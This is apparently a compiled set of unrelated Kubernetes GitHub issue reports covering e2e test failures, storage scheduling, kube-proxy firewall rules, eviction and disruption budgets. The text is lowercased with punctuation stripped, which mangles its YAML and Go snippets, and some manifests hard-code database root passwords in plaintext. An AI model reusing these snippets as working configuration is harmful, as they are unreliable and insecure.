:\r \r \r   anything else we need to know  :\r \r

jenkins  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-master/61 hpa-upgrade \r \r  history  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gce-upgrade-master&include-filter-by-regex=%5eoverall%24%7chpa%5c-upgrade \r \r    \r expected error:\r     < errors.errorstring | 0xc420b4c030>: {\r         s: \ error while stopping { replicationcontroller}: res-cons-upgrade: timed out waiting for \\\ res-cons-upgrade\\\  to be synced\ ,\r     }\r     error while stopping { replicationcontroller}: res-cons-upgrade: timed out waiting for \ res-cons-upgrade\  to be synced\r not to have occurred\r \r k8s.io/kubernetes/test/e2e/common.  resourceconsumer .cleanup 0xc420a2e0a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:402 +0x293\r k8s.io/kubernetes/test/e2e/upgrades.  hpaupgradetest .teardown 0x5688130, 0xc4207008c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/horizontal_pod_autoscalers.go:71 +0x55\r panic 0x3517000, 0xc421422b40 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/test/e2e/framework/ginkgowrapper.fail.func1 0xc420e14b60, 0xd5, 0x51af443, 0x75, 0x50, 0xc420ab8a00, 0x4a9 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/ginkgowrapper/wrapper.go:63 +0x9c\r panic 0x302f020, 0xc420b4df40 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/test/e2e/framework/ginkgowrapper.fail 0xc420e14b60, 0xd5, 0xc420b4de08, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/ginkgowrapper/wrapper.go:67 +0x19b\r k8s.io/kubernetes/vendor/github.com/onsi/gomega/internal/assertion.  assertion .match 0xc421422900, 0x5443e20, 0x56b01f0, 0x0, 0xc421124840, 0x3, 0x3, 0x56b01f0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/onsi/gomega/internal/assertion/assertion.go:69 +0x1ef\r k8s.io/kubernetes/vendor/github.com/onsi/gomega/internal/assertion.  assertion .notto 0xc421422900, 0x5443e20, 0x56b01f0, 0xc421124840, 0x3, 0x3, 0x544fda0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/onsi/gomega/internal/assertion/assertion.go:43 +0xae\r k8s.io/kubernetes/test/e2e/framework.expectnoerrorwithoffset 0x1, 0x541d620, 0xc4202295a0, 0xc421124840, 0x3, 0x3 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:1935 +0x14f\r k8s.io/kubernetes/test/e2e/common.  resourceconsumer .waitforreplicas 0xc420a2e0a0, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:353 +0x1f3\r k8s.io/kubernetes/test/e2e/upgrades.  hpaupgradetest .test 0x5688130 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/horizontal_pod_autoscalers.go:80 +0x134\r k8s.io/kubernetes/test/e2e/upgrades.  hpaupgradetest .test 0x5688130, 0xc4207008c0, 0xc4214f0000, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/horizontal_pod_autoscalers.go:64 +0xb9\r k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test 0xc4215f8300, 0xc4212e6380 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:205 +0x1ed\r k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test-fm 0xc4212e6380 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:270 +0x34\r k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc4212e6380, 0xc4212de100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76\r created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:90 +0x1c7\r

 \r   what happened  :\r a look at k8s-gubernator shows that the submit queue test  pull-kubernetes-federation-e2e-gce  fails most prs.\r the prs failed when setting up the federation cluster:  error during ./federation/cluster/federation-up.sh: exit status 1

ebs's attachvolume api call requires us to pass a device name. currently we keep a map of device name internally for purpose of maintaining a lru but we call  describeinstance  to check which device is free for attach.\r \r in a nutshell we use  describeinstance  as source of truth for finding out, which devices are available on the node for attach.\r \r but in certain cases we have noticed that, aws api can return incorrect view of attached devices to the node. so relying on  describeinstance  rather than actual devices on node via  /proc/mounts  or  lsblk  is problematic. using a device which is already being used on a node can result new volume to be stuck in \ attaching\  state.\r \r   \r cc @kubernetes/sig-storage-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r failures - https://k8s-testgrid.appspot.com/sig-node-ppc64le conformance\r part of https://github.com/kubernetes/kubernetes/pull/56716 pause is not used properly for tests for other arches than x86. as the current pause image is not a manifest image, so we need to use a different image for different archs like  pause-amd64  for  amd64 ,  pause-ppc64le  for ppc64le  etc..\r \r with this, i'm using logs-generator from  gcr.io/kubernetes-e2e-test-images  repo\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r  \r   what happened  :\r if we create a loadbalancer type service with  loadbalancersourceranges  specified, ipvs type kube-proxy will create incorrect kube-firewall rules, may result in other loadbalancer type service can't be access.\r    \r chain kube-fire-wall  1 references \r target     prot opt source               destination\r accept     all  --  0.0.0.0/0            0.0.0.0/0            match-set kube-lb-ingress-local dst,dst\r kube-mark-masq  all  --  0.0.0.0/0            0.0.0.0/0            /  mark masq for external traffic policy not local  /\r accept     all  --  0.0.0.0/0            0.0.0.0/0            match-set kube-load-balancer-source-cidr dst,dst,src\r kube-mark-drop  all  --  0.0.0.0/0            0.0.0.0/0\r \r chain kube-services  2 references \r target     prot opt source               destination\r kube-mark-masq  all  -- !10.64.0.0/14         0.0.0.0/0            match-set kube-cluster-ip dst,dst\r kube-fire-wall  all  --  0.0.0.0/0            0.0.0.0/0            match-set kube-load-balancer dst,dst\r kube-node-port  tcp  --  0.0.0.0/0            0.0.0.0/0            tcp match-set kube-node-port-tcp dst\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. build a cluster with ipvs proxy mode.\r 2. create a loadbalancer type service, with  loadbalancersourceranges  specified.\r 3. create another loadbalancer type service.\r 4. try to access the new service.\r \r \r

runtimeclass  https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/0014-runtime-class.md  went to alpha in 1.12, but lacks good monitoring coverage. prior to promoting the feature to beta  currently targeting v1.14 , we need to have monitoring for the feature.\r \r   /area monitoring

is it possible to get kubernetes keep its secrets in hashicorp vault ?  https://github.com/hashicorp/vault/issues/377  alex

http://kubekins.dls.corp.google.com/job/kubernetes-e2e-gce-enormous-cluster/7/consolefull  this is a blocker for a 1000-node effort.  cc @kubernetes/goog-control-plane @kubernetes/goog-node @brendandburns @davidopp @wojtek-t @fgrzadkowski

weight is an int  see  priorityconfigfactory definition  https://github.com/kubernetes/kubernetes/blob/dae5ac482861382e18b1e7b2943b1b7f333c6a2a/plugin/pkg/scheduler/factory/plugins.go l53  .  take the range 1-10. total  a node is sum of weight \\   each  and the sum is accumulated into an int  see  prioritizenodes  https://github.com/kubernetes/kubernetes/blob/dae5ac482861382e18b1e7b2943b1b7f333c6a2a/plugin/pkg/scheduler/generic_scheduler.go l227  . so obviously the total  overflow if someone sets the weight s  too high.  the weights of all  are compiled in  or specified in config file , so we can check to make sure maximum total  overflow an int  take sum over all  of 10 \\  weight of that  and make sure that's smaller than int maxuint >> 1  which according to stackoverflow is the way to find out what is max int  math package has max int32, int64, etc. but not max int .  note that scheduler extender is ok because although the policy runs in a separate process, the weight is specified in scheduler config file  extenderconfig struct  and the  bounded 1-10 as usual.

we are moving to have kubectl drain use the eviction subresource  https://github.com/kubernetes/kubernetes/issues/34277 , and honor  poddisruptionbudget .\r from  comment by @erictune  https://github.com/kubernetes/kubernetes/issues/35318 issuecomment-255501443  which better captures this requirement.\r \r there should be a default behavior for disruption budgets.\r the default should optimize for these things:\r \r 1. users should not need to create, view, or even know about with the poddisruptionbudget resource, and still get \ reasonable\  default behaviors.\r 2. the default behavior should be reasonable for a wide variety of app use cases.\r 3. the default behavior could be expressed succinctly to users.\r 4. cluster admins should be able to upgrade nodes quickly in clusters that have typical apps with default budgets, without interacting with app owners.\r \r some options:\r \r 1. all pods in the cluster that match no user-created disruption budget have a budget of 1 at a time.\r   - could be too conservative to allow for parallel node drains.\r 2. all pods in a namespace cluster that match no user-created disruption budget have a budget of 1 at a time.\r   - less conservative than 1\r   - probably not too conservative for systems with many namespaces relative to number of nodes.\r 3. each set of pods with the same controller and that match no user-created disruption budget,  have a disruption budget of 1 at a time.\r   - assuming spreading of collections by scheduler, parallel node drains likely to be possible\r   - the disruption controller already computes this grouping of pods, sort of.\r 4. each set of pods with the same service, that match no user-created disruption budget, have a disruption budget of 1 at a time.\r   - matches a default spreading behavior by the scheduler, so unlikely to have two on the same machine from same service, so parallel node drains likely to be possible.\r \r the actual implementation could be to have a controller that makes pdbs for things without them and then cleans them up when not needed anymore, or for the eviction logic to just compute these sets, but not expose them.\r \r \r cc @erictune @davidopp @kow3ns @janetkuo @caesarxuchao @ymqytw @kubernetes/sig-apps \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r kubectl delete namespace persistent volume\r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.2\ , gitcommit:\ cfdaf18277e1ebaa28fcdaed1160a0243eb81be1\ , gittreestate:\ clean\ , builddate:\ 2016-10-27t22:15:03z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:43:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : ... gke?\r -   kernel    e.g.  uname -a  : ... gke?\r -   install tools  : what does this mean? install for  kubectl ? i installed via gcloud, which i installed via wget.\r -   others  :\r \r \r   what happened  :\r i ran the following: \r \r    \r > kubectl delete --namespace middleware --all deployments,pv,pvc,svc,ing\r deployment \ ingress-controller\  deleted\r deployment \ spielberg\  deleted\r persistentvolume \ pvc-1ba28408-c78a-11e6-875b-42010a8e008b\  deleted\r persistentvolume \ pvc-77c06953-c77b-11e6-8be6-42010a8e008b\  deleted\r persistentvolume \ pvc-ca72445c-c785-11e6-875b-42010a8e008b\  deleted\r persistentvolume \ pvc-cb39526a-c785-11e6-875b-42010a8e008b\  deleted\r persistentvolumeclaim \ darwin\  deleted\r service \ darwin\  deleted\r service \ ingress-controller\  deleted\r service \ spielberg\  deleted\r service \ traefik-web-ui\  deleted\r ingress \ darwin-ingress\  deleted\r ingress \ spielberg-ingress\  deleted\r ingress \ traefik-ingress\  deleted\r    \r \r the persistent volumes that were deleted  except one  were actually from the  default  namespace.\r \r   what you expected to happen  :\r if i specify a namespace in the delete command, i would expect nothing outside of that namespace to be deleted\r \r   how to reproduce it    as minimally and precisely as possible :\r should be pretty easy... i'll work on a script after i fix the fact that my volumes all got hosed.\r \r   anything else do we need to know  :\r nope\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r i am trying out the local storage support in 1.7 combined with the  external static provisioner  https://github.com/kubernetes-incubator/external-storage/tree/master/local-volume . on one of my nodes   k8s-01  , i created a local volume which the provisioner picked up as persistent volume  local-pv-87b4a99e  in kubernetes. then, i created a simple postgresql statefulset. its pvc got successfully bound to that pv. however, its pod got scheduled to the wrong node  seemingly any of my three nodes  instead of the one that has the local pv available. this results in the following error  from  kubectl describe pod postgres-test-0  :\r    \r   5m\t\t1m\t\t10\tkubelet, k8s-02\t\t\t\twarning\t\tfailedmount\t\tmountvolume.setup failed for volume \ local-pv-87b4a99e\  : mount failed: exit status 32\r mounting command: mount\r mounting arguments: /mnt/local-storage/data/4b359fbb-3daa-49d7-87fd-b97222f7a4e0 /var/lib/kubelet/pods/5c2c8edd-5f4d-11e7-879c-00505699a646/volumes/kubernetes.io~local-volume/local-pv-87b4a99e   bind \r output: mount: special device /mnt/local-storage/data/4b359fbb-3daa-49d7-87fd-b97222f7a4e0 does not exist\r    \r \r when the pod is scheduled to the node with local storage available  e.g. by cordoning other nodes , things work as expected.\r \r the statefulset, pv and pvc exports are available in this gist: https://gist.github.com/praseodym/a75600721d217cbb5f5c3241ff988a01\r \r   what you expected to happen  :\r the pod gets only ever scheduled to node  k8s-01  because that is where the persistent volume is available.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy local storage external static provisioner\r 2. create local volume which is exposed as a persistent volume\r 3. create stateful set with pvc template\r 4. observe that the pvc gets bound\r 4. observe that the pod does not  always  get scheduled to the node on which the bound volume is available\r \r   anything else we need to know?  :\r \r   environment  :\r -   kubernetes version    use  kubectl version  : 1.7.0\r -   cloud provider or hardware configuration  : vmware\r -   os    e.g. from /etc/os-release : debian stretch\r -   kernel    e.g.  uname -a  : linux 4.9.0-3-amd64\r - install tools: kubeadm\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r kubectl describe node shows: \r    \r memorypressure \ttrue \twed, 13 sep 2017 12:54:10 +0800 \twed, 13 sep 2017 11:54:03 +0800 \tkubelethasinsufficientm\r emory \tkubelet has insufficient memory available\r    \r but the allocated resources show:\r    \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   11590m  48% \t9500m  39% \t72888mi  56% \t72888mi  56% \r    \r and some pods are evicted because of memory reclaiming.\r the top shows that there is much free memory. so i can not understand why the node is under  memorypressure .\r \r i saw the following logs in kubelet's log:\r    \r i0913 15:20:47.884880  104204 helpers.go:826  eviction manager: thresholds - reclaim not satisfied: threshold  signal=memory.available, quantity=100mi  observed -2097758044639028ki\r i0913 15:20:47.884883  104204 helpers.go:826  eviction manager: thresholds - updated stats: threshold  signal=memory.available, quantity=100mi  observed -2097758044639028ki\r i0913 15:20:47.884896  104204 eviction_manager.go:288  eviction manager: node conditions - observed:  memorypressure \r i0913 15:20:47.884906  104204 eviction_manager.go:297  eviction manager: node conditions - transition period not met:  memorypressure \r i0913 15:20:47.884910  104204 helpers.go:826  eviction manager: thresholds - grace periods satisified: threshold  signal=memory.available, quantity=100mi  observed -2097758044639028ki\r w0913 15:20:47.884917  104204 eviction_manager.go:331  eviction manager: attempting to reclaim memory\r i0913 15:20:47.884936  104204 eviction_manager.go:345  eviction manager: must evict pod s  to reclaim memory\r    \r \r   what you expected to happen  :\r the node should not be under  memorypressure  and not pods will be evicted.\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r both on v1.6.7 and v1.7.5. restarting kubelet doesn't help.\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

i try to deploy mysqld service with glusterfs,but pod status is always crashloopbackoff, here are my config yamls and info , please help~\r \r   ------------------- glusterfs endpoints -------------------  \r kind: endpoints\r apiversion: v1\r metadata:\r   name: glusterfs-cluster\r subsets:\r - addresses:\r   - ip: 10.47.130.202\r   - ip: 10.47.130.203\r   ports:\r   - port: 1\r     protocol: tcp\r \r ---\r   ------------------- glusterfs service -------------------  \r kind: service\r apiversion: v1\r metadata:\r   name: glusterfs-cluster\r spec:\r   ports: \r   - port: 1\r \r ---\r   ------------------- glusterfs pv -------------------  \r kind: persistentvolume\r apiversion: v1\r metadata:\r   labels: \r     name: mysql1\r   name: gluster-dev-volume1\r spec:\r   capacity: \r     storage: 10gi\r   accessmodes:\r     - readwritemany\r   glusterfs:\r     endpoints: \ glusterfs-cluster\ \r     path: \ gv0\ \r     readonly: false\r \r ---\r \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: gluster-mysql1\r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 10gi\r   selector:\r     matchlabels: \r       name: \ mysql1\ \r \r   ------------------- mysql service -------------------  \r kind: service\r apiversion: v1\r metadata:\r   name: mysql\r   labels:\r     name: mysql\r spec:\r   type: nodeport\r   ports: \r   - name: mysqlport\r     port: 3306\r     nodeport: 31016\r   selector:\r     name: mysql\r \r ---\r   ------------------- mysql deployment -------------------  \r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: mysql\r spec:\r   replicas: 1 \r   template:\r     metadata:\r       labels:\r         name: mysql\r     spec:\r       containers:\r       - name: mysqlcontainer\r         image: centos/mysql-57-centos7 \r         imagepullpolicy: ifnotpresent\r         env:\r         - name: mysql_root_password\r           value: root12345\r         ports:\r           - containerport: 3306  \r         volumemounts:\r           - name: gluster-mysql-data\r             mountpath: /var/lib/mysql\r       volumes:\r       - name: gluster-mysql-data\r         persistentvolumeclaim:\r           claimname: gluster-mysql1\r \r ---\r \r  kubectl logs mysql-659748965f-2d4w4\r => sourcing 20-validate-variables.sh ...\r => sourcing 25-validate-replication-variables.sh ...\r => sourcing 30-base-config.sh ...\r ---> 12:45:15     processing basic mysql configuration files ...\r => sourcing 60-replication-config.sh ...\r => sourcing 70-s2i-config.sh ...\r ---> 12:45:15     processing additional arbitrary  mysql configuration provided by s2i ...\r => sourcing 40-paas.cnf ...\r => sourcing 50-my-tuning.cnf ...\r ---> 12:45:15     initializing database ...\r ---> 12:45:15     running /opt/rh/rh-mysql57/root/usr/libexec/mysqld --initialize-insecure --datadir=/var/lib/mysql/data --ignore-db-dir=lost+found\r mysqld: can't create directory '/var/lib/mysql/data/'  errcode: 13 - permission denied \r 2018-05-15t12:45:15.858018z 0  warning  timestamp with implicit default value is deprecated. please use --explicit_defaults_for_timestamp server option  see documentation for more details .\r 2018-05-15t12:45:15.860726z 0  warning  duplicate ignore-db-dir directory name 'lost+found' found in the config file s . ignoring the duplicate.\r 2018-05-15t12:45:15.862631z 0  error  aborting\r \r it always reminds me that i don't have permissions, i don't know how to set...

when randomizename   is used, it returns a new container name that adds an intermediate field using the delemiter \ _\ . if i understand the mechanics correctly, this causes all further fields  pod name, namespace name, etc  to shift down. so, when seeing 7 instead of 6 fields, wouldn't the building of the  pod  metadata use the shifted field indices instead of the original, unshifted ones? such as \ namespace: parts 4 \  instead of \ namespace: parts 3 \ ?\r \r https://github.com/kubernetes/kubernetes/blob/7cbb9995189c5ecc8182da29cd0e30188c911401/pkg/kubelet/dockershim/naming.go l119

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r based on discussion  here  https://github.com/kubernetes/kubernetes/issues/71383 issuecomment-442948413 , events can be throttled and should not be used to validate failure conditions in e2e tests.  we should remove the event checks from subpath and local pv tests and just wait for pod failure.\r \r @kubernetes/sig-storage-bugs \r \r <!-- do not edit below this line -->\r 

hello,\r \r i am implemeting istio-mesh expansion in kubernetes  aws \r as part of this i need to expose kube-dns service.\r \r so i tried to created a kube-dns service with type: loadbalancer but an unable to get external ip its in pending state.\r \r apiversion: v1\r kind: service\r metadata:\r   name: dns-ilb\r   namespace: kube-system\r   labels:\r     k8s-app: kube-dns\r spec:\r   type: loadbalancer\r   ports:\r   - port: 53\r     protocol: udp\r   selector:\r     k8s-app: kube-dns\r \r kubectl get svc -n kube-system\r name                                 type               cluster-ip      external-ip   port s             age\r dns-ilb                            loadbalancer      xx.xx.xx.xx         <pending>     53:30749/udp    28m\r kube-dns                         clusterip            xx.xx.xx.xx         <none>          53/udp,53/tcp   1h\r \r \r so why dont we expose kube-dns with type: loadbalancer????

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/29465/kubernetes-pull-build-test-e2e-gke/16757/  failed:  k8s.io  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:275 expected error:     < errors.errorstring | 0xc820a365b0>: {         s: \ timeout while waiting for pods with labels \\\ app=guestbook,tier=frontend\\\  to be running\ ,     }     timeout while waiting for pods with labels \ app=guestbook,tier=frontend\  to be running not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1523      happened on a presubmit run in  29465.  previous issues for this test:  26175  26846  27334  28293  29149  31884  33672

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/1083/  failed:  k8s.io  resourcequota should verify resourcequota with best effort scope. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:484 expected error:     < errors.errorstring | 0xc42043f5a0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:453       previous issues for this test:  31635

e2e_node tests on cos-beta-59-9460-20-0 image use gpus. to install the nvidia drivers, we have to disable loadpin which requires a restart. this results in the runner losing connection with the instance which results in the tests failing/erroring.\r \r one way to fix this is to make sure that cloud-init has finished before starting the tests.\r \r something like:\r    \r diff --git a/test/e2e_node/runner/remote/run_remote.go b/test/e2e_node/runner/remote/run_remote.go\r index 8a1d38daa9..78a5865c9e 100644\r --- a/test/e2e_node/runner/remote/run_remote.go\r +++ b/test/e2e_node/runner/remote/run_remote.go\r @@ -588,6 +588,13 @@ func createinstance imageconfig  internalgceimage   string, error  {\r                         err = fmt.errorf \ instance %s not running docker daemon - server not found: %s\ , name, output \r                         continue\r                 }\r +               var finished string\r +               finished, err = remote.ssh name, \ ls\ , \ /var/lib/cloud/instance/boot-finished\  \r +               if err != nil {\r +                       err = fmt.errorf \ instance %s has not finished cloud-init script: %s\ , name, finished \r +                       continue\r +               }\r                 instancerunning = true\r         }\r         return name, err\r    \r \r we need to make sure that we only do this for images which use cloud-init.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r at present, the ceph rbd is used to verify the scheduling of multiple instances on k8s.after the first pod instance mounts the rbd, the cloud hard disk that the rbd represents is exclusive to the node  only the other pod copies of the pod on the same a nodes can be mounted ;if scheduling to another node that other pod always not running and is meaningless ?could schedule in one node or k8s should not schedule other pod to another node?\r \r the pod status：\r ! image  https://user-images.githubusercontent.com/25783555/28557706-99d5de80-7140-11e7-8ccb-7a7022075b7a.png \r \r \r other pod is containercreating and the logs：\r mountvolume.setup failed for volume \ kubernetes.io/rbd/b54b5ce7-686d-11e7-9cf5-fa163e7dc0ae-ceph-pv\   spec.name: \ ceph-pv\   pod \ b54b5ce7-686d-11e7-9cf5-fa163e7dc0ae\   uid: \ b54b5ce7-686d-11e7-9cf5-fa163e7dc0ae\   with: rbd: image foo is locked by other nodes\r \r \r the deployment is defined:\r -bash-4.2  cat test-deploy.yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: mysql\r spec:\r   strategy:\r     type: recreate\r   replicas: 5\r   template:\r     metadata:\r       labels:\r         app: mysql\r     spec:\r       containers:\r       - image: index.tenxcloud.com/docker_library/nginx:latest\r         imagepullpolicy: never\r         name: mysql\r         env:\r             use secret in real usage\r         - name: mysql_root_password\r           value: password\r         ports:\r         - containerport: 3306\r           name: mysql\r         volumemounts:\r         - name: ceph-pv\r           mountpath: /tmp/rbd\r       volumes:\r       - name: ceph-pv\r         persistentvolumeclaim:\r           claimname: ceph-claim\r   what you expected to happen  :\r k8s should not schedule other pod  to another node and schedule on one node that mount rbd!\r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :gitversion:\ v1.5.1+82450d0\ , gitcommit:\ 6795200f715bf142523a49e76452f5ddd97fb366\ \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :-bash-4.2  cat redhat-release\r newstart carrier grade server linux release 5\r - kernel  e.g.  uname -a  :-bash-4.2  uname -a\r linux master-jlx-k8s 3.10.0-514.6.1.el7.x86_64  1 smp thu feb 16 19:50:09 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :  this  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/expansion.go l29  file has an error in the comment which makes it harder to understand the code.\r \r   what you expected to happen  : the link should lead to the document it was intended to lead to\r \r   how to reproduce it  as minimally and precisely as possible   : try finding  docs/design/expansion.md  https://github.com/kubernetes/kubernetes/blob/release-1.7/docs/design/expansion.md \r \r \r   anything else we need to know?  : .\r \r   environment  : .\r - kubernetes version  use  kubectl version  : .\r - cloud provider or hardware configuration  : .\r - os  e.g. from /etc/os-release : .\r - kernel  e.g.  uname -a  : .\r - install tools: .\r - others: .\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  kubelet  has a garbage collection to clean up unused containers, and containers' logs will be removed in the  garbagecollect  method too. but  the garbage collection code for legacy container log merged by this  pr  https://github.com/kubernetes/kubernetes/pull/34858 , in this  commit  https://github.com/kubernetes/kubernetes/pull/34858/commits/fad4672e725877830407e2e4694fed7ceae5fe0a   doesn't work, as the  remove  operation is invoked only if the  logsymlink  is   not   exist the code as follows . but if it is non-existent, we have nothing to remove, and the  logsymlink  usually exist as we find them by  glob  method.\r \r    go\r for _, logsymlink := range logsymlinks {\r     if _, err := osinterface.stat logsymlink ; os.isnotexist err  {\r         err := osinterface.remove logsymlink \r         if err != nil {\r             glog.errorf \ failed to remove container log dead symlink %q: %v\ , logsymlink, err \r         }\r     }\r }\r     \r \r do we really need this operation here? as the container logs both cir logs and legacy logs  are removed before according containers removed, so there won't have left logs of a removed container theoretically.\r \r if we needn't this operation here, i will submit a pr later to remove this code. otherwise, maybe we need a effective way to inspect whether according  pod  is deleted or not.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   bug report  :\r \r  \r \r \r   what happened  : when externaladmissionhookconfiguration for pods denies a pod create request from replica sets, it didn't pass the reason back to replica sets:\r    \r $ kubectl describe rs toolbox-84b4c6f7f6\r ......\r events:\r   type     reason        age                from                   message\r   ----     ------        ----               ----                   -------\r   warning  failedcreate  7s  x13 over 28s   replicaset-controller  error creating: \r    \r \r   what you expected to happen  : it should pass back the reject reason defined inside webhook admission controller back to replica sets or deployment, like:\r    \r $ kubectl apply -f debian-toolbox-pod.yaml\r error from server  need apartment annotation for pod : error when creating \ debian-toolbox-pod.yaml\ :\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a webhook admission controller and schedule a deployment which doesn't pass the rule defined inside admission controller. you will see only see \ error creating:\  message for replica sets when you describe replica sets and there is no further information there.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  